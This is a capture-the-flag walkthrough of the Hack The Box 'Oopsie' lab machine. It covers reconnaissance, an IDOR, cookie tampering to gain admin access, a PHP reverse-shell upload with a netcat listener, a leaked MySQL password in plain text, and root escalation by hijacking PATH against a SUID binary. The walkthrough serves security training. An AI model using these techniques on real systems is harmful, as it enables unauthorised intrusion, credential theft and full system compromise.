On this page
HTB | Oopsie - Starting Point
Last edited: Mar 13, 2026
https://app.hackthebox.com/machines/Oopsie/
Oopsie | Walkthrough
| Phase |
|---|
| Reconnaissance |
| Foothold |
Reconnaissance
Using nmap to enumerate all open ports in the target
nmap -sC -sV 10.129.19.34nopedawn@npdn ~/L/H/S/Oopsie> nmap -sC -sV 10.129.19.34
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-13 13:08 WIB
Nmap scan report for 10.129.19.34
Host is up (0.71s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.70 secondsAfter port-scanning, the service is running in linux machine and there are two service opens in tcp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
In http it’s a website page, let’s try to enumerate all directories if it’s available
nopedawn@npdn ~/L/H/S/Oopsie> gobuster dir -u 10.129.19.34 -w /usr/share/wordlists/SecLists/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.19.34
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 277]
.htaccess (Status: 403) [Size: 277]
.htpasswd (Status: 403) [Size: 277]
css (Status: 301) [Size: 310] [--> http://10.129.19.34/css/]
fonts (Status: 301) [Size: 312] [--> http://10.129.19.34/fonts/]
images (Status: 301) [Size: 313] [--> http://10.129.19.34/images/]
index.php (Status: 200) [Size: 10932]
js (Status: 301) [Size: 309] [--> http://10.129.19.34/js/]
server-status (Status: 403) [Size: 277]
themes (Status: 301) [Size: 313] [--> http://10.129.19.34/themes/]
uploads (Status: 301) [Size: 314] [--> http://10.129.19.34/uploads/]
Progress: 4738 / 4738 (100.00%)
===============================================================
Finished
===============================================================
nopedawn@npdn ~/L/H/S/Oopsie> gobuster dir -u 10.129.19.34 -w /usr/share/wordlists/Gobuster/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.19.34
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/Gobuster/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 313] [--> http://10.129.19.34/images/]
js (Status: 301) [Size: 309] [--> http://10.129.19.34/js/]
css (Status: 301) [Size: 310] [--> http://10.129.19.34/css/]
index.php (Status: 200) [Size: 10932]
fonts (Status: 301) [Size: 312] [--> http://10.129.19.34/fonts/]
.htaccess (Status: 403) [Size: 277]
uploads (Status: 301) [Size: 314] [--> http://10.129.19.34/uploads/]
themes (Status: 301) [Size: 313] [--> http://10.129.19.34/themes/]
.htpasswd (Status: 403) [Size: 277]
.htpasswds (Status: 403) [Size: 277]
Progress: 1828 / 1828 (100.00%)
===============================================================
Finished
===============================================================It seems no interesting findings from gobuster, but if we check and view the page source there’s path to the directory on the webserver that returns a login page http://10.129.19.34/cdn-cgi/login
And we can logged in as guest
Account Tab
| Access ID | Name | |
|---|---|---|
| 2233 | guest | guest@megacorp.com |
Branding Tab
| Brand ID | Model | Price |
|---|---|---|
| 2 | MC-2124 | $100,430 |
Client Tab
| Client ID | Name | |
|---|---|---|
| 2 | client | client@client.htb |
Notice the URL is http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=2 it seems like this URL is not sanitize and this will be lead to IDOR
I tried to change the argument id= and got the admin access id in http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=1
| Access ID | Name | |
|---|---|---|
| 34322 | admin | admin@megacorp.com |
Open the burpsuite and start to send a request with cookie Cookie: user=34322; role=admin as following
GET /cdn-cgi/login/admin.php?content=uploads HTTP/1.1
Host: 10.129.19.34
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.19.34/cdn-cgi/login/admin.php?content=accounts&id=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: user=34322; role=admin
Connection: keep-aliveThe cookie can be modified, and now we can access /uploads directory
We can also set the Cookie as follow Browser > CTRL+SHIFT+I > TAB Application
| Name | Value |
|---|---|
| role | admin |
| user | 34322 |
Foothold
Since we can upload files, let’s try a standard PHP reverse-shell to get the grant access
I’ll be using the same reverse-shell revshell.php script as I did in the previous post Three.
Make sure and don’t forget to change <YOUR-STARTING-VPN-IP> to your own ip and port (if you want)
It’ll be look like this
$ip = '10.10.16.155';
$port = 8481;Set the listener
nc -lvnp 8481D:\HTB\Starting-Point\Oopsie>nc -lvnp 8481
listening on [any] 8481 ...Now, try to upload that revshell.php in /upload Tab or simply use this following command to send it
curl -X POST "http://10.129.19.34/cdn-cgi/login/admin.php?content=uploads&action=upload" \
-H "Cookie: user=34322; role=admin" \
-F "name=test" \
-F "fileToUpload=@revshell.php"nopedawn@npdn ~/L/H/S/Oopsie> curl -X POST "http://10.129.19.34/cdn-cgi/login/admin.php?content=uploads&action=upload" \
-H "Cookie: user=34322; role=admin" \
-F "name=test" \
-F "fileToUpload=@revshell.php"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel='stylesheet' href='/css/bootstrap.min.css'>
<link rel='stylesheet' href='/css/ionicons.min.css'>
<style>
.container {
max-width: 960px;
}
.navbar-survival101 {
background-color:#2B6DAD;
}
/* .navbar-survival101 .navbar-brand {
margin-right: 2.15rem;
padding: 3px 0 0 0;
line-height: 36px;
} */
.navbar-survival101 .navbar-brand img {
vertical-align: baseline;
}
.navbar-expand-lg .navbar-nav .nav-link {
color: #fff;
}
.search-box {
position: relative;
height: 34px;
}
.search-box input {
border: 0;
border-radius: 3px !important;
padding-right: 28px;
font-size: 15px;
}
.search-box .input-group-btn {
position: absolute;
right: 0;
top: 0;
z-index: 999;
}
.search-box .input-group-btn button {
background-color: transparent;
border: 0;
padding: 4px 8px;
color: rgba(0,0,0,.4);
font-size: 20px;
}
.search-box .input-group-btn button:hover,
.search-box .input-group-btn button:active,
.search-box .input-group-btn button:focus {
color: rgba(0,0,0,.4);
}
@media (min-width: 992px) {
.navbar-expand-lg .navbar-nav .nav-link {
padding-right: .7rem;
padding-left: .7rem;
}
.new {
font-family: arial, sans-serif;
border-collapse: collapse;
width:30%;
}
table {
font-family: arial, sans-serif;
border-collapse: collapse;
width: 60%;
}
td, th {
border: 1px solid #dddddd;
text-align: center;
padding: 8px;
}
tr:nth-child(even) {
background-color: #dddddd;
}
.search-box {
width: 300px !important;
}
}
.caroulsel {
width: 100%;
overflow: hidden;
padding: 5px 0 5px 5px;
}
.caroulsel-wrap {
white-space: nowrap;
font-size: 0;
}
.caroulsel-wrap a {
display: inline-block;
width: 134px;
height: 92px;
background-color: silver;
border: #ccc 1px solid;
margin-right: 5px;
}
</style>
<script>
window.console = window.console || function(t) {};
</script>
<script>
if (document.location.search.match(/type=embed/gi)) {
window.parent.postMessage("resize", "*");
}
</script>
</head>
<body translate="no">
<nav class="navbar navbar-expand-lg navbar-dark navbar-survival101">
<div class="container">
<a class="navbar-brand" href="#">
MegaCorp Automotive
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor02" aria-controls="navbarColor02" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarColor02">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=accounts&id=2">Account<span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=branding&brandId=2">Branding</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=clients&orgId=2">Clients</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cdn-cgi/login/admin.php?content=uploads">Uploads</a></li>
<li class="nav-item">
<a class="nav-link" href="#">Logged in as Guest</a>
</li>
</ul>
<form class="form-inline">
</span>
</div>
</form>
</div>
</div>
</nav>
<br /><br /><center><h1>Repair Management System</h1><br /><br />
The file revshell.php has been uploaded.<script src='/js/jquery.min.js'></script>
<script src='/js/bootstrap.min.js'></script>
</body>
</html>The payload file is succesfully uploaded.
Now, try to curl or access the file that we already uploaded, this will be trigger the listener to gain reverse-shell access
nopedawn@npdn ~/L/H/S/Oopsie> curl http://10.129.19.34/uploads/revshell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.129.19.34 Port 80</address>
</body></html>Back to listener tab, we successfully got the reverse-shell
D:\CTF\HTB\Starting-Point\Oopsie>nc -lvnp 8481
listening on [any] 8481 ...
connect to [10.10.16.155] from (UNKNOWN) [10.129.19.34] 44202
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
08:33:54 up 2:26, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$From lab task, we need to find the file that contains the password is shared with the robert user, to do this i’ve tried many type of corresponding extensions, shortly I found these
Run a find command to search for all files with a .php extension that the current user has permission to access.
$ find / -type f -name *.php 2>/dev/null
/var/www/html/index.php
/var/www/html/cdn-cgi/login/index.php
/var/www/html/cdn-cgi/login/admin.php
/var/www/html/cdn-cgi/login/db.php
$ cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
$Got the leaked mysql credential robert:M3g4C0rpUs3r! stored in /var/www/html/cdn-cgi/login/db.php.
Next task we’re also performing to identify all files owned by the bugtracker group
find / -group bugtracker 2>/dev/null$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
$Regardless of which user starts running the bugtracker executable, user privileges will use to run is root
$ ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
$User flag is stored in /home/robert/user.txt
robert@oopsie:/$ cat /home/robert/user.txt
cat /home/robert/user.txt
REDACTEDEnter the root & privesc, make sure to set semi stabilizing shell and alias
alias ls='ls --color=always -lAh'
python3 -c "import pty;pty.spawn('/bin/bash')"Back to lateral movement, we need to switch user and logged in as robert using M3g4C0rpUs3r! as a password
$ alias ls='ls --color=always -lAh'
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r
su: Authentication failure
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r!
robert@oopsie:/$From previous bugtracker executable, i’m curious what is it, let’s ltrace it
robert@oopsie:/$ ltrace bugtracker
ltrace bugtracker
printf("%s", "\n------------------\n: EV Bug Tra"...
------------------
: EV Bug Tracker :
------------------
) = 59
printf("Provide Bug ID: ") = 16
__isoc99_scanf(0x5633d6a4db74, 0x7ffdc4b83300, 0, 0Provide Bug ID: idk
idk
) = 1
printf("%s", "---------------\n\n"---------------
) = 17
geteuid() = 1000
setuid(1000) = 0
strlen("cat /root/reports/") = 18
strlen("idk") = 3
malloc(22) = 0x5633d7310a80
strcpy(0x5633d7310a80, "cat /root/reports/") = 0x5633d7310a80
strcat("cat /root/reports/", "idk") = "cat /root/reports/idk"
system("cat /root/reports/idk"cat: /root/reports/idk: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
putchar(10, 0x7ffdc4b831b0, 0, 0
) = 10
+++ exited (status 0) +++
robert@oopsie:/$It’s waiting for user input — enter any text and press Enter. We can see that the application’s permissions are temporarily elevated to root privileges.
geteuid() = 1000
setuid(1000) = 0And following path is cat out.
system("cat /root/reports/idk"cat: /root/reports/idk: Permission deniedThe app attempts to display the file using cat.
We can take advantage that cat is not called using its absolute path (/bin/cat). The idea is to modify the PATH variable to include a directory that will be searched before /bin/.
Inside that directory, we create a fake cat file that executes /bin/bash. As seen earlier, whatever cat refers to is executed with temporarily elevated privileges, allowing us to obtain a root shell.
export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x catrobert@oopsie:/$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
robert@oopsie:/$ cd /tmp/
cd /tmp/
robert@oopsie:/tmp$ echo '/bin/sh' > cat
echo '/bin/sh' > cat
robert@oopsie:/tmp$ chmod +x cat
chmod +x cat
robert@oopsie:/tmp$This way, the cat executable we created will be executed by bugtracker instead of the original /bin/cat.
robert@oopsie:/tmp$ ls -lAh cat
ls -lAh cat
-rwxrwxr-x 1 robert robert 8 Mar 13 10:16 cat
robert@oopsie:/tmp$robert@oopsie:/tmp$ bugtracker
bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: test
test
---------------
# id
id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)Keep that in mind since we modified cat through the PATH, we should either remove /tmp from the PATH or use cat with its absolute path.
# find / -name root.txt 2>/dev/null
find / -name root.txt 2>/dev/null
/root/root.txt
# /bin/cat /root/root.txt
/bin/cat /root/root.txt
REDACTED
#Root flag is stored in /root/root.txt